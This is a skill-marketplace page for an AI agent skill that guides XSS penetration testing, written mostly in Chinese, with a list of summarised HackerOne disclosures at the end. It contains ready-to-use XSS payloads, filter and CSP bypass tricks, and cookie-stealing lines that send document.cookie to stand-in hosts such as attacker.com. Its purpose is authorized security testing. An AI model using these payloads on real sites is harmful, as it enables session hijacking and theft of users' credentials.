# Pentest Xss

> Use when performing penetration testing targeting cross-site scripting vulnerabilities including stored, reflected, and DOM-based XSS. Keywords: XSS, stored XSS, reflected XSS, DOM XSS, content injection, HTML injection, JavaScript injection, CSP bypass

- Skill: `yhy0/pentest-xss` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add yhy0/pentest-xss`
- Raw SKILL.md: https://api.skillmd.com/api/skills/yhy0/pentest-xss/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: yhy0 (https://skillmd.com/u/yhy0)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/yhy0/pentest-xss

---


# XSS Penetration Testing Patterns

当对 Web 应用进行 XSS 渗透测试时加载此 Skill。覆盖 Stored、Reflected、DOM-based XSS 的攻击手法。

## Attack Surface Discovery

**高风险输入点：**
- 搜索框、评论/留言功能、用户资料编辑（显示名、简介）
- URL 参数直接反射到页面（`?message=`, `?error=`, `?callback=`）
- 富文本编辑器、Markdown 渲染器
- 文件上传（SVG、HTML 文件）
- API 响应被前端渲染（JSON 中的 HTML 字段）
- 第三方集成回调（OAuth redirect_uri、webhook）

**DOM-based XSS 入口：**
- `location.hash`、`location.search` 被 `document.write()` 或 `innerHTML` 使用
- `postMessage` 处理器缺少来源验证
- 客户端模板引擎（AngularJS `{{ }}`、Vue `v-html`）

**识别信号：**
- 输入值在响应 HTML 中原样出现（无编码）
- `Content-Type: text/html` 的 API 响应
- 缺少 `Content-Security-Policy` 头
- 反射参数出现在 HTML 属性、JavaScript 代码块、URL 中

## Exploitation Techniques

**按上下文构造 Payload：**
```html
<!-- HTML 上下文 -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>

<!-- 属性上下文 -->
" onfocus=alert(1) autofocus="
' onmouseover='alert(1)

<!-- JavaScript 上下文 -->
</script><script>alert(1)</script>
'-alert(1)-'
'-alert(1)//

<!-- URL 上下文 -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
```

**Stored XSS 利用链：**
1. 在用户资料、文章、评论中注入 payload
2. 其他用户/管理员访问时触发
3. 窃取 session cookie：`fetch('https://attacker.com/steal?c='+document.cookie)`
4. 利用管理员 session 进行后台操作

**过滤绕过技巧：**
- 大小写混合：`<ScRiPt>alert(1)</ScRiPt>`
- 事件处理器替代：`onerror`, `onload`, `onfocus`, `ontoggle`, `onanimationend`
- 编码绕过：HTML 实体 `&#x61;lert(1)`、Unicode `\u0061lert(1)`
- 标签变体：`<svg>`, `<math>`, `<details>`, `<marquee>`
- 无括号执行：`` ``.constructor.constructor`('alert(1)')`` ``
- Reader Mode / 特殊渲染模式注入（如浏览器 Reader Mode 中的 nonce 利用）
- Mutation XSS (mXSS)：利用浏览器 DOM 解析与序列化的差异，payload 在 innerHTML 赋值后变异为可执行脚本
- Markdown 注入：`[link](javascript:alert(1))`、`![img](x onerror=alert(1))`

**Blind XSS：**
```html
<!-- 注入到支持工单、反馈表单、日志查看器等后台渲染的位置 -->
"><script src=https://your-callback-server/hook.js></script>
<img src=x onerror="fetch('https://callback.server/'+document.cookie)">
```
- 使用 XSS Hunter 或自建 callback 服务器检测触发
- 常见注入点：User-Agent、Referer、表单字段在管理后台被渲染

**CSP 绕过：**
- `script-src 'unsafe-inline'`：直接执行内联脚本
- JSONP 端点：`<script src="trusted.com/jsonp?callback=alert">`
- Base URI 注入：`<base href="https://attacker.com/">`
- `script-src` 白名单中的 CDN 利用

## Detection Checklist

- [ ] 在所有输入字段中注入基础探测字符串 `<script>alert(1)</script>` 并检查响应
- [ ] 检查 URL 参数是否直接反射到 HTML（搜索功能、错误页面、回调参数）
- [ ] 测试存储型输入点（用户名、评论、文件名、profile 字段）
- [ ] 检查 `Content-Security-Policy` 响应头是否存在及其强度
- [ ] 使用 Burp Suite Intruder 批量测试参数反射
- [ ] 检查 DOM 操作（`innerHTML`、`document.write`、`eval`）是否使用了用户可控数据
- [ ] 测试文件上传是否接受 SVG/HTML 并直接渲染
- [ ] 尝试绕过已有过滤（编码、大小写、标签变体、事件处理器替代）
- [ ] 验证 XSS 是否可窃取 cookie（检查 `HttpOnly` 标志）
- [ ] 评估 Stored XSS 是否可影响管理员用户

## Impact Assessment

**漏洞利用可达到的效果：**
- Session 劫持：窃取 cookie 实现账户接管
- 钓鱼攻击：注入虚假登录表单窃取凭证
- 恶意操作：以受害者身份执行敏感操作（转账、修改设置）
- 数据窃取：读取页面内容、API 令牌、个人信息
- 蠕虫传播：Stored XSS 可构造自传播蠕虫

**严重度判断：**
- **Critical**：Stored XSS 影响所有用户/管理员、可窃取 session、无需用户交互
- **High**：Reflected XSS 在高价值页面、可绕过 CSP 执行任意 JS
- **Medium**：Self-XSS、需要特定用户交互、CSP 限制了利用范围


## Real-World Cases

以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。

### Case 1: Brave Software — New XSS vector in ReaderMode with %READER-TITLE-NONCE%

- **严重度**: Critical | **CWE**: Cross-site Scripting (XSS) - Generic
- **摘要**: A new XSS vulnerability was discovered in Brave iOS 1.31.1 and higher, which allowed attackers to execute malicious scripts on ReaderMode pages. The vulnerability was caused by a relaxation of the CSP...
- **报告**: https://hackerone.com/reports/1436142

### Case 2: Khan Academy — XSS on using the legacy "Graphie To Png" API

- **严重度**: Critical | **CWE**: Cross-site Scripting (XSS) - DOM
- **摘要**: The legacy "Graphie To Png" API was vulnerable to exploitation. An attacker could upload malicious graphies that included harmful SVG and JSON data. The SVG contained an `onload` attribute that execut...
- **报告**: https://hackerone.com/reports/2846011

### Case 3: LinkedIn — Stored XSS on LinkedIn App via iframe tag in Article

- **严重度**: Critical | **CWE**: Cross-site Scripting (XSS) - Stored
- **摘要**: A stored XSS vulnerability was reported in the LinkedIn Article feature, where a malicious JavaScript payload could be embedded in the URL field of an iframe. When such an article was published and ac...
- **报告**: https://hackerone.com/reports/2212950

### Case 4: MTN Group — Reflected XSS in https://nin.mtn.ng/nin/success?message=lol&nin=<VULNERABLE>

- **严重度**: Critical | **CWE**: Cross-site Scripting (XSS) - Reflected
- **摘要**: The reflected XSS vulnerability was found in the 'nin' parameter of the 'https://nin.mtn.ng/nin/success' endpoint. Successful exploitation allowed an attacker to execute arbitrary JavaScript in the vi...
- **报告**: https://hackerone.com/reports/2039384

### Case 5: Rocket.Chat — XSS via /api/v1/chat.postMessage 

- **严重度**: Critical | **CWE**: Cross-site Scripting (XSS) - Stored
- **摘要**: The victim could craft a custom message using the REST API that, once seen by the observer, executed arbitrary code in the context of the client user. The vulnerability was present in the attachment f...
- **报告**: https://hackerone.com/reports/219957

### Case 6: 8x8 — Stored xss at https://█.8x8.com/api/█/ID

- **严重度**: High | **CWE**: Cross-site Scripting (XSS) - Stored
- **摘要**: A vulnerability was reported where stored data could be modified to introduce malicious JavaScript that would execute in a victim's browser when the data was retrieved. The issue was isolated to a ran...
- **报告**: https://hackerone.com/reports/2078490

### Case 7: AWS VDP — XSS on Amazon Aquisition:  elemental

- **严重度**: High | **CWE**: Cross-site Scripting (XSS) - Reflected
- **摘要**: The XSS vulnerability on Amazon's acquisition of Elemental was identified and addressed. The summary provided a brief overview of the issue.
- **报告**: https://hackerone.com/reports/3205667

### Case 8: Acronis —  Potential XSS Vulnerability in Acronis Login Callback URL

- **严重度**: High | **CWE**: Cross-site Scripting (XSS) - Generic
- **摘要**: The Acronis login callback URL was found to be vulnerable to cross-site scripting (XSS) attacks. The redirectUrl parameter in the URL was not properly sanitized, allowing an attacker to inject arbitra...
- **报告**: https://hackerone.com/reports/2611305

### Case 9: Acronis — Blind XSS on admin.acronis.com via delete account form on account.acronis.com

- **严重度**: High | **CWE**: Cross-site Scripting (XSS) - Stored
- **摘要**: Blind XSS vulnerability was discovered on admin.acronis.com. The vulnerability could be triggered by sending a payload during the account deletion process on account.acronis.com.
- **报告**: https://hackerone.com/reports/666040

### Case 10: Autodesk — Stored XSS in AREA tutorials

- **严重度**: High | **CWE**: Cross-site Scripting (XSS) - Stored
- **摘要**: A stored cross-site scripting (XSS) vulnerability was discovered in the AREA tutorials feature. The vulnerability could have allowed an attacker to inject malicious JavaScript code when publishing a t...
- **报告**: https://hackerone.com/reports/3008066